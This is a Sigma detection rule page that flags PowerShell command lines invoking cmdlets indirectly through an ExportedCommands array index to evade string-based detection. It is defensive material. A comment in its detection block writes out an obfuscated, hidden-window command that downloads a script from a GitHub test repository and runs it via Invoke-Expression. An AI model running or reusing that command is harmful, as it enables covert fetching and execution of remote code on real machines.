PowerShell Dynamic Module Invocation Via ExportedCommands Array Index
Detects PowerShell processes invoked with obfuscated command lines that enumerate Microsoft.PowerShell.Utility exported commands and invoke cmdlets indirectly by array index. This technique is used to evade detections that look for explicit strings such as Invoke-RestMethod or Invoke-Expression.
Sigma rule (View on GitHub)
1title: PowerShell Dynamic Module Invocation Via ExportedCommands Array Index
2id: 0c3ebe9f-df09-4e00-be0f-73d4ca8d62f6
3related:
4 - id: 4ff4ad3e-9fb5-4a70-9962-d6ea58090318
5 type: similar
6status: experimental
7description: |
8 Detects PowerShell processes invoked with obfuscated command lines that enumerate Microsoft.PowerShell.Utility
9 exported commands and invoke cmdlets indirectly by array index. This technique is used to evade
10 detections that look for explicit strings such as Invoke-RestMethod or Invoke-Expression.
11references:
12 - https://www.linkedin.com/posts/mark-o-halloran1_clickfix-defense-evasion-tactic-today-i-ugcPost-7453463467736408064-snrp/
13author: Norbert Jaśniewicz (AlphaSOC), Swachchhanda Shrawan Poudel (Nextron Systems)
14date: 2026-10-06
15tags:
16 - attack.execution
17 - attack.stealth
18 - attack.t1027.010
19 - attack.t1059.001
20logsource:
21 product: windows
22 category: process_creation
23detection:
24 # powershell.exe -NoP -W Hidden -C "$kp=12;$sEzg=32;$cSX=((Get-Module -ListAvailable 'Microsoft.PowerShell.Utility')).ExportedCommands.Values;$cSX=$cSX.Name;& $cSX[$kp] 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1' -OutFile C:\Temp\maldoc.ps1;$qJgm=$cSX[$sEzg];& $qJgm (Get-Content C:\Temp\maldoc.ps1 -Raw)"
25 selection_img:
26 - Image|endswith:
27 - '\powershell.exe'
28 - '\pwsh.exe'
29 - OriginalFileName:
30 - 'powershell.exe'
31 - 'pwsh.dll'
32 selection_module_export_enum:
33 CommandLine|contains:
34 - 'Get-Module '
35 - 'gmo '
36 CommandLine|contains|all:
37 - 'ListAvailable'
38 - 'Microsoft.PowerShell.Utility'
39 - 'ExportedCommands'
40 - 'Values'
41 selection_index_used:
42 CommandLine|contains: '[*]'
43 condition: all of selection_*
44falsepositives:
45 - Legitimate use of exported commands array indexing during PowerShell command execution (should be rare)
46level: high
47regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_powershell_cmdlet_invocation_via_exported_commands_array_index/info.yml
References
Related rules
- Obfuscated PowerShell MSI Install via WindowsInstaller COM
- PowerShell Dynamic Module Invocation Via ExportedCommands Array Index - PS Script
- Potential PowerShell Obfuscation Using Alias Cmdlets
- Base64 Encoded PowerShell Command Detected
- NTFS Alternate Data Stream